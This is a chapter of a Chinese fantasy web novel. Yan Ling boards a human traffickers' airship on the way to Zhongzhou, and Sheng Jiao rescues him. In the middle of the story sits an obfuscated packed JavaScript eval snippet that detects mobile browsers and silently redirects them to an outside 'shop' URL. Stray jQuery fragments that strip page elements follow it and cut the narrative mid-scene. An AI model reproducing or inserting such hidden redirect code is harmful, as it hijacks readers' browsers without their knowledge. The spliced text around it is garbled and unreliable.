135 第135章 番外if线(17)

作品:《反派修为尽失后

    晏聆很倒霉。


    回到晏温山后的第一年诸行斋要相聚时,他在种植草药时误将一颗毒草种子混在灵药中,以身试药时差点一命呜呼,足足昏了半个月才醒。


    第二年可倒好,虽然身体没什么大碍,但晏聆细心呵护一年多的雪莲在盛开前一夜遭了山上小灵兽的毒手,气得晏聆肺都要炸了,拎着晏月的剑漫山遍野地追杀“罪魁祸首”三天三夜。


    自然,诸行斋相聚也错过了。


    直到第三年,诸行斋的人也都学乖了,在犀角灯中让晏聆选地方选地点,省得他再出什么幺蛾子。


    晏聆冥思苦想,最后仍旧定在中州。


    这回晏聆提前三天就准备去中州,朝夫人有些不放心他孤身一人出去,想用行舫把他送过去。


    “娘。”晏聆把东西收拾好,无奈地说,“我都十七啦,诸行斋的人也马上及冠了,都不是小孩子了,不必这么忧心。”


    朝夫人抚摸着晏聆的脑袋,叹气道:“从小到大,你还没自己出过门呢。”


    晏聆不服气地道:“在学宫里、出去历练,不都是我一个人出门的吗?”


    “那不一样。”


    晏聆闷闷不乐地道:“一样的,我能照顾好自己。”


    朝夫人也没强求,只是又塞给他几瓶灵丹和犀角灯的灯油,让他万一有事就及时寻他们。


    “知道啦。”晏聆探了探脑袋,“阿月呢?”


    朝夫人道:“跟着你爹去修炼了,得好几日才能回来。”


    晏聆脸色顿露怜悯之色。


    晏寒鹊严厉得要命,自从晏月十岁后便开始跟着晏寒鹊修炼剑道,成天被折腾得哭爹喊娘,但仍旧坚持到了现在。


    想来幼时总是哭唧唧的晏月长大后可能真的会是个冷酷无情的剑修。


    晏聆系上披风和朝夫人告辞,孤身一人下了晏温山。


    离晏温山大概十里左右的小城镇中有行舫阁,晏聆这还是从三年前至今第一次下山,看什么都觉得新鲜。


    但好心情止于行舫阁今日不再售卖前去中州城的玉令,得明天一早才有玉令买。


    晏聆眉头紧皱,估摸着去中州城的距离,感觉就自己金丹期的修为,八成得不停歇地飞两天两夜才能到,只是现在如果再回去,朝夫人肯定会觉得他孤身一人不靠谱,连行舫什么时候飞都没搞清楚。


    没办法,晏聆只好打算先寻个地方住一夜。


    但刚离开行舫阁,突然有个男人颠颠跑过来,笑眯眯地道:“小公子,是要去中州城吗?”


    晏聆不太习惯和陌生人离太近,皱着眉往后退了半步。


    “你是谁?”


    “我们有一艘要去中州城的行舫即将要上空了,里面刚好还有几个位置,若是小公子不介意,一起乘坐也成。”


    晏聆疑惑道:“不是说去中州的行舫没了吗?”


    “但私人租赁的还有,我们是前来北境历练的,人数多所以单独赁了艘行舫。”那人笑着道,“我们也是想着能多个人分摊一点灵石嘛。”


    晏聆顺着他指的方向看向不远处的行舫,果然有行舫阁的标志,想了想也便同意了。


    男人将他引上行舫,还特意给他一间雅室,里面吃的喝的应有尽有。


    没一会,行舫上空,果然是朝着中州城的方向去的。


    晏聆逐渐放松警惕,坐在椅子上伸了个懒腰,盘算着什么时候能到中州城。


    行舫悠悠然朝着中州城的方向而去,晏聆闲着无聊只好在周遭布了个结界,窝在软塌上小憩一会。


    只是没想到这一觉就直接睡到了晚上,迷迷瞪瞪间被一阵轰隆隆的雷鸣声惊醒。


    晏聆揉着眼睛爬起来,周围一阵黑暗,摸索着从储物戒里拿出来一颗夜明珠照亮四周,正打算看看窗外是不是经过雷云了,却感觉那雷声似乎越来越近。


    轰——


    一道雷声猛地从头顶响起,似乎劈到行舫,晏聆皱着眉将耳扣拿下来,一股铺天盖地的哭喊声响彻耳畔,随之而来的还有浓烈的杀意。


    雷鸣阵阵。


    下一瞬,晏聆猛地捂住耳朵,一道雷直直劈在行舫顶端,本来平稳飞在半空的行舫一阵剧烈摇晃,晏聆忙贴着墙站好,省得被甩飞出去。


    这架势,八成是遇到贼人了。


    行舫飞在高空,总会经过雷云,十三州每一艘行舫无论大小都会在顶端放避雷诀,绝不可能会有雷直接劈下来。


    晏聆沉着脸将披风裹在身上,正要推门出去看看是怎么回事,但手努力推了下,门却纹丝不动,像是被人从外面锁住了。


    不用「闲听声」晏聆也能听到外面一阵阵姑娘的哭喊声,还伴随着一声声凄厉的惨叫。


    轰隆隆。


    只有生命消亡才有的雷声一阵阵传入晏聆耳朵中,惊得他双腿一软,险些站不稳。


    有人……


    在外面大杀四方。


    晏聆强装镇定,努力用灵力去撞门,但这门被卡得死紧,金丹期的灵力竟然都无法撞开。


    很快,逐渐朝着他这边接近的脚步声震碎晏聆想要出去救人的心——因为他小命也要不保了。


    外面的人修为约摸着是元婴期,甚至要接近化神


    境了,反正比晏聆高,捏死他只是随手的事儿。


    晏聆没想到自己第一回孤身出门就遇到这种事儿,强撑着在那强悍的威压下挣扎跑到窗户边,用力将封死的窗户打开。


    夜风呼啸一声刮来,将他散乱的长发吹得张牙舞爪。


    晏聆尝试着往下面瞥了一眼。


    万丈高空漆黑一片,宛如深渊。


    晏聆又把脑袋缩了回来。


    有点可怕,再、再看看。


    晏聆扒着窗棂心跳如鼓,生死之际让他脑海一片空白。


    终于,脚步声停在他的雅间前。


    晏聆艰难屏住呼吸,眼睛都瞪圆了。


    下一瞬,一道天雷声轰然响起,直接将这雅间的门锁结界瞬间破坏,门木屑翻飞,顺带将晏聆的结界也给震碎了。


    晏聆吓得赶忙爬上窗棂,作势要跳下去。


    突然,一个熟悉的声音从木屑翻飞中响起。


    “晏聆?”


    晏聆还是第一次遇到这么危险的事,紧张得脑海空白,后知后觉才反应过来那人叫的是自己的名字,呆滞地回头一看。


    盛焦一身獬豸宗黑衣缓步而来,手腕上一百零七颗天衍珠微微闪着嘶嘶雷纹,他将剑负在腰后,似乎怕吓到晏聆,朝他温和一笑。


    晏聆目瞪口呆看着:“盛、盛焦?!”


    “是我。”盛焦道。


    大悲大喜下,晏聆一口气终于松懈下来,高兴地正要从窗棂下来:“盛焦……”


    但他刚才还以为自己必死无疑,双腿还在发软,这一动不要紧,身子直接一个踉跄,竟然直接从窗户下跌了出去。


    一阵失重感劈天盖地袭来,晏聆瞳孔剧缩成一个点,瞬间摔了下去。


    “啊——!”


    盛焦:“?!”


    盛焦想都不想,直接纵身从窗棂下跃下,催动灵力一把将跌下去的晏聆囫囵抱在怀中。


    晏聆吓得魂儿都没了,乍一被抱住立刻像是抓住救命稻草似的死死抱住盛焦,呜咽着怎么都不肯松手。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598336|80399||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    盛焦本是想回到行舫中去的,但晏聆抓得太紧,他想了想还是勾起晏聆的膝盖弯将他抱在怀里,御风朝着不远处停在半空的小行舫飞了过去。


    那是獬豸宗查案的行舫。


    晏聆所乘坐的行舫已经被獬豸宗执正团团围住,几十个姑娘哭哭啼啼地裹着衣袍上了獬豸宗的行舫,还有几个对着执正泪流满面地千恩万谢。


    将晏聆拐上行舫的男人浑身是血,被强行押进獬豸宗的囚芥。


    晏聆被抱到獬豸宗行舫上,惊魂未定地看着周围的场景,茫然道:“怎、怎么了这是?”


    “这行舫是前去南境九霄城的。”盛焦无可奈何地看着他,“你怎么能随意上不知名的行舫,被人卖了也不知晓。”


    晏聆不明所以:“九霄城?”


    盛焦没有多说,只是深感一阵后怕。


    这行舫上的漂亮女子都是那些人贩子从十三州四处搜罗来的,为的就是将其卖去南境九霄城的花楼换取灵石。


    要是獬豸宗没过来,恐怕晏聆都要跟着那些女子一起被卖去九霄城争花魁去了。


    起先獬豸宗的执正来报人贩子还拐了个少年打算卖去九霄城时,盛焦还有些不信,毕竟九霄城的男人还是极少数的,也不知那少年到底长得多好看,才能让人贩子冒这么大的风险把人带上行舫。


    但到了后,盛焦顿时明白了。


    两三年不见,晏聆身形抽条地长,一袭白衣飘然,腰身纤细被腰封一束,长身鹤立宛如仙人,他幼时的包子脸已经消了那婴儿肥,五官面容艶美昳丽,好似超脱世间的精怪。


    少年往那一站便能吸引所有人的注意力——更何况是挑选绝色的人贩子。


    盛焦见他还是迷迷糊糊的,无声叹了一口气。


    还好晏聆这次运气好。


    几个执正重新回到行舫,正要向盛焦汇报情况,乍一瞧见这两人的姿势纷纷一愣,被盛焦冷冷一扫立刻低下头,只当没看到。


    晏聆也后知后觉自己还在被盛焦抱着,耳根一红轻轻推了推他:“把我放下吧。”


    盛焦“嗯”了一声,将晏聆的双腿放在地上。


    晏聆接连收到惊吓,乍一着地双腿还是发着软,攀着盛焦的肩膀一下跌了下去。


    盛焦扶着他,道:“吓坏了?”


    “没有。”晏聆死鸭子嘴硬,不肯在盛焦面前承认自己被吓懵了,强撑着两条发软地腿跟着盛焦进了一处幽间。


    只有也不知是獬豸宗穷,还是盛焦节俭惯了,幽间狭窄得很,只有一张小床放置在那儿,窗棂上放着小灯默默燃烧,照亮整个幽间。


    晏聆踉跄着坐在小榻上,终于稳下心神来好奇地四下看来看去:“这儿好小啊。”


    盛焦笑了笑:“还好。”


    “哪儿还好啊。”晏聆撇嘴,伸手在小榻上比了下,“都睡不开两个人呢。”


    盛焦眸瞳暗了暗,还是没说话。


    晏聆和盛焦两三年没见面,但依然很熟络,他毫不客气地霸占了整张床,蜷缩在那懒洋洋地看着盛焦:“我们是要回中州城吗?”


    “嗯。”盛焦道,“人抓到了,即刻启程回去,明日晌午就


    能到,你还能再睡一觉。”


    晏聆闭上眼睛点点头,好一会突然道:“盛焦?”


    盛焦盘膝坐在蒲团上一点修炼的心思没有,在晏聆闭眼后目不转睛注视着他的脸。


    见晏聆突然睁眼,盛焦立刻闭上眼睛,神态故作随意道:“什么?”


    晏聆看着盛焦俊美的五官,小声说:“我想你了。”


    盛焦搭在膝盖上的五指突然蜷缩了一下。